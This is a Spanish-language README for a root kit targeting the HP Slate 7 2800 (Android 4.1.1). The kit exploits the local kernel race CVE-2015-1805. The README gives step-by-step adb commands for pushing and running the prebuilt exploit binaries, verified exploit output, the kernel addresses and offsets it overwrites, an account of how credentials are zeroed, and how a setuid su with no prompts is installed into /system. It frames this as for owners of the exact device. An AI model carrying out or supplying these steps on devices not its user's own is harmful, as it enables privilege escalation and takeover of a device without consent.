
Kit de root para HP Slate 7 2800 con Android 4.1.1 usando CVE-2015-1805.
English | Русский
Este repositorio contiene un kit completo e independiente para obtener acceso root persistente en la HP Slate 7 2800 con firmware 1.05.18 y kernel Linux 3.0.8+ mediante la explotación de la vulnerabilidad local CVE-2015-1805. El kit se ejecutó en la tableta real y el resultado se verificó desde una sesión ADB nueva y después de un reinicio normal.
Esta no es una herramienta universal de root para Android. El exploit es específico de esta configuración de kernel de HP. No lo ejecute en un modelo, firmware o versión de kernel diferentes.
| Parámetro | Valor verificado |
|---|---|
| Fabricante y modelo | HP Slate 7 2800 |
| Android | 4.1.1, API 16, build JRO03H |
| Producto / dispositivo | t7h / pine |
| Procesador | Rockchip RK3066, ARMv7 |
| Huella de compilación | hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys |
| Kernel | 3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015 |
| ABI | 32-bit ARM EABI5 |
| SELinux | no presente en la configuración del kernel (CONFIG_SECURITY está deshabilitado) |
Partición /system | ext4, montada de solo lectura de forma predeterminada |
Puede inspeccionar el dispositivo sin realizar ningún cambio:
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version
Alternativamente, use el siguiente script. Se negará a continuar si la huella de compilación o la versión del kernel no coinciden:
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL
.
├── bin/
│ ├── hp-slate7-cve-2015-1805-root # verified exploit
│ ├── hp-slate7-install-root # installs su into /system
│ └── hp-slate7-su # minimal setuid-root wrapper
├── src/
│ ├── exploit/ # CVE source and device-specific changes
│ ├── installer/install-root.c # installer source
│ └── su/rootsh.S # minimal su source
├── scripts/
│ ├── build.sh # rebuilds all three ELF files
│ ├── check-target.sh # safe compatibility check
│ └── root-device.sh # verifies, uploads, and runs the kit
├── SHA256SUMS # hashes of the verified bin/* files
├── NOTICE # attribution for the original PoC
└── LICENSE # GPL-3.0
Sumas de verificación SHA-256 de los binarios verificados:
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su
Verificación en macOS:
shasum -a 256 -c SHA256SUMS
Verificación en Linux:
sha256sum -c SHA256SUMS
Use los archivos de bin/ en la tableta: son los bytes exactos que se
verificaron en el dispositivo. El directorio build/ está pensado para
recompilaciones locales y no está rastreado por Git.
CVE-2015-1805 es una falla en
las implementaciones de pipe_read() y pipe_write() de los kernels de Linux
más antiguos. Cuando una copia atómica falla, el código continúa
incorrectamente recorriendo el arreglo iovec, lo que potencialmente mueve un
puntero más allá de sus límites. Como resultado, un proceso local sin
privilegios puede corromper memoria, bloquear el kernel o escalar sus
privilegios. Se publicó una explicación detallada del mecanismo en
oss-security. Las
correcciones se pueden encontrar, entre otros lugares, en los commits de Linux
ascendentes
637b58c
y
f0d1bec.
El kernel 3.0.8+ de la tableta resultó vulnerable. Antes de modificar la
memoria del kernel, la misma condición de carrera se probó por separado con una
sonda inofensiva cuyos dos objetivos de escritura estaban ubicados en la
memoria ordinaria del proceso de prueba. Informó CVE-2015-1805: VULNERABLE y
la tableta permaneció accesible a través de ADB.
readv(), los cambios de
mapeo de memoria y el procesamiento de un arreglo iovec grande en el
código de pipe vulnerable del kernel.sys_call_table con la dirección de un pequeño trampolín
ARM en el proceso del exploit.0xffff0008.
En el dispositivo verificado, la instrucción es 0xe59ff410 y su literal
apunta a vector_swi = 0xc04d0d40.vector_swi y sys_call_table se ensamblaron de forma independiente a
partir del
archivo de kernel de código abierto oficial de HP 1.05.10
(SHA-256 del archivo:
dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2)
con el defconfig rk30_t7h_dvt_defconfig. Su desplazamiento es 0xc4. El
firmware instalado no tiene ni OABI ni seccomp, por lo que la dirección
final en tiempo de ejecución de la tabla es .La función original current_thread_info() de los encabezados antiguos del
kernel era incompatible con el Clang moderno en -O0: un prototipo inicial
leía una palabra no inicializada en lugar del registro sp y podía bloquear el
kernel. En este repositorio se ha reemplazado con un trampolín ARM naked
verificado. El binario inicial no está incluido en el repositorio.
bin/adb de Android SDK Platform Tools;No necesita Android NDK, Java, Python, fastboot, un bootloader desbloqueado, una recovery personalizada, un APK de root ni acceso a la red. El exploit y la carga útil están enlazados estáticamente.
shasum o sha256sum para verificar el resultado.El Android NDK tampoco es necesario: Zig proporciona una cadena de herramientas cruzada ARM musl.
Compruebe la conexión:
adb devices -l
El estado debe ser device, no offline ni unauthorized.
Cambie a la raíz del repositorio y primero verifique que el dispositivo coincida exactamente:
./scripts/check-target.sh
Si hay varios dispositivos conectados, pase el número de serie a cada comando
usando adb -s SERIAL, o establezca la variable de entorno ANDROID_SERIAL.
Sube los tres archivos con los nombres que esperan entre sí:
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
Establezca los permisos y vacíe los archivos preparados al almacenamiento:
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
Ejecute el exploit una vez:
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
Salida exitosa verificada:
offset:c4
addr:c04d0d40
[+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0
Si el dispositivo desaparece de ADB durante unos segundos, no ejecute el exploit de nuevo. Espere a que regrese:
adb wait-for-device
El script verifica la huella de compilación y el kernel, comprueba los hashes
SHA-256, sube los archivos, le pide que escriba ROOT, ejecuta el exploit y
verifica uid=0:
./scripts/root-device.sh
Para varios dispositivos:
./scripts/root-device.sh --serial ADB_SERIAL
La opción --yes desactiva la confirmación interactiva y está pensada solo
para un uso automatizado deliberado:
./scripts/root-device.sh --serial ADB_SERIAL --yes
Verifique el root desde un shell ADB nuevo, no desde el uid del proceso del exploit:
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '
Salida esperada:
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...
A continuación, elimine solo los archivos temporales preparados. El
/system/xbin/su instalado no se elimina:
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'
El kit no crea /data/local.prop ni modifica los datos del usuario.
Realice un reinicio normal y luego verifique el root persistente:
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'
La tableta verificada produjo el siguiente resultado después del reinicio:
uid=0(root) gid=0(root) ...
El archivo instalado se extrajo de la tableta y coincidió byte a byte con
bin/hp-slate7-su:
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e
Para ejecutar un solo comando:
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'
hp-slate7-su es un wrapper intencionalmente mínimo sin aplicación Android,
avisos de confirmación, daemon ni registro de permisos. Cualquier proceso local
capaz de ejecutar /system/xbin/su podría obtener root. No use esta tableta
obsoleta para datos sensibles después de hacerle root y no instale APKs no
confiables.
Especifique la ruta al Zig 0.15.2 portátil, o agregue zig a PATH:
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh
La salida se escribirá en build/:
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su
Compruebe los formatos de los archivos:
file build/hp-slate7-*
Los tres archivos deben ser archivos ELF ARM EABI5 de 32 bits. Con la versión
verificada de Zig 0.15.2, el instalador y su se recompilan de forma idéntica
byte a byte a los archivos de bin/. El hash del exploit puede diferir debido
a las rutas absolutas en DWARF y los metadatos del enlazador; su trampolín
crítico de seis instrucciones fue idéntico byte a byte en la compilación de
verificación. Una recompilación no reemplaza las sumas de verificación de los
archivos de bin/ que realmente se ejecutaron en la tableta.
unauthorizedDesbloquee la pantalla y acepte la clave RSA de depuración por USB. Si la
solicitud no aparece, vuelva a conectar el cable y ejecute adb devices -l de
nuevo.
offline o el dispositivo desapareceEspere unos segundos y ejecute adb wait-for-device. Si la tableta se ha
apagado, enciéndala normalmente con el botón de encendido. No ejecute una
segunda instancia del exploit de forma simultánea.
[+] DoneLa CVE se explota mediante una condición de carrera y puede fallar teóricamente. Reinicie la tableta antes de hacer un único reintento. No ejecute el binario en un bucle: una condición de carrera fallida puede bloquear el kernel.
su existe, pero el comando termina con el código 127Verifique el hash SHA-256 del archivo. Un wrapper de investigación inicial
manejaba argv incorrectamente en ARM y terminaba con el código 127. Este
repositorio contiene la versión corregida de 656 bytes con SHA-256
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e.
Compruebe el estado real de Android:
adb shell getprop sys.boot_completed
adb shell dumpsys window windows
sys.boot_completed=1 significa que Android ha iniciado incluso si la pantalla
física todavía muestra un cuadro antiguo.
Otros enfoques bien conocidos se descartaron de forma segura o resultaron no
adecuados en este dispositivo: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056,
CVE-2013-4787, Dirty COW y PingPongRoot. Towelroot/CVE-2014-3153 bloqueó este
kernel y no debe usarse. CVE-2014-7951 permitía escribir un archivo mediante el
path traversal de restauración de ADB, pero el firmware de HP no cargaba
/data/local.prop, por lo que este método no proporcionó root.
El bootloader usa un cargador antiguo de Rockchip y no apareció como un dispositivo fastboot estándar. No fue necesario flashear una recovery ni desbloquear el bootloader para este resultado.
El código del exploit se basa en
mobilelinux/iovy_root_research,
commit f945796, que a su vez referencia
dosomder/iovyroot. Los cambios
específicos del dispositivo incluyen reducir el número de hilos, corregir el
tiempo de espera, usar un trampolín ARM naked, restaurar la tabla de syscalls
de forma temprana, validar cred y deshabilitar la rama SELinux no aplicable.
Los avisos originales se han conservado. El repositorio se distribuye bajo
GPL-3.0; consulte LICENSE y NOTICE.
Explotar la memoria del kernel siempre conlleva el riesgo de reiniciar el dispositivo, corromper el sistema o perder datos. Este kit está pensado únicamente para una HP Slate 7 2800 que sea de su propiedad y cuyo firmware coincida exactamente. Haga una copia de seguridad de los datos importantes y no lo use en dispositivos ajenos.
La investigación de seguridad y la documentación se completaron con la asistencia de OpenAI Codex, impulsado por GPT-5.6 Sol con acceso de ciberseguridad Daybreak Blue.
Ubicaciones del repositorio: fuente canónica · github · espejo de solo lectura
| Archivo | Formato | Tamaño | Propósito |
|---|
bin/hp-slate7-cve-2015-1805-root | ELF 32-bit ARM EABI5, estático, sin depurar | 2,722,320 bytes | Explota la CVE, obtiene uid 0 e inicia el instalador |
bin/hp-slate7-install-root | ELF 32-bit ARM EABI5, estático, depurado | 22,596 bytes | Vuelve a montar temporalmente /system en rw, instala su y restaura ro |
bin/hp-slate7-su | ELF 32-bit ARM EABI5, estático, depurado | 656 bytes | Llama a setresgid(0,0,0) y setresuid(0,0,0), y luego lanza /system/bin/sh |
0xc04d0e04sp
actual, lo alinea al tamaño de pila del kernel de 8192 bytes y escribe -1
únicamente en thread_info.addr_limit en el desplazamiento 8. No contiene
llamadas externas, prólogo ni código de tiempo de ejecución del compilador.sys_ni_syscall en el
código fuente de HP; el puntero restaurado en el kernel verificado es
0xc051900c.addr_limit, la copia de pipe lee el
task_struct actual, localiza cred y valida la estructura mediante los
valores uid/gid actuales, la alineación, el recuento de referencias y la
condición real_cred == cred. Solo después de estas comprobaciones los
valores uid/gid se ponen a cero y las máscaras de capacidades se rellenan
con unos.uid=0 y lanza /data/local/tmp/install-root. El
instalador vuelve a montar /system en rw, copia la carga útil a
/system/xbin/su, asigna la propiedad root:root y el modo 06755, llama
a sync() y vuelve a montar /system en modo de solo lectura.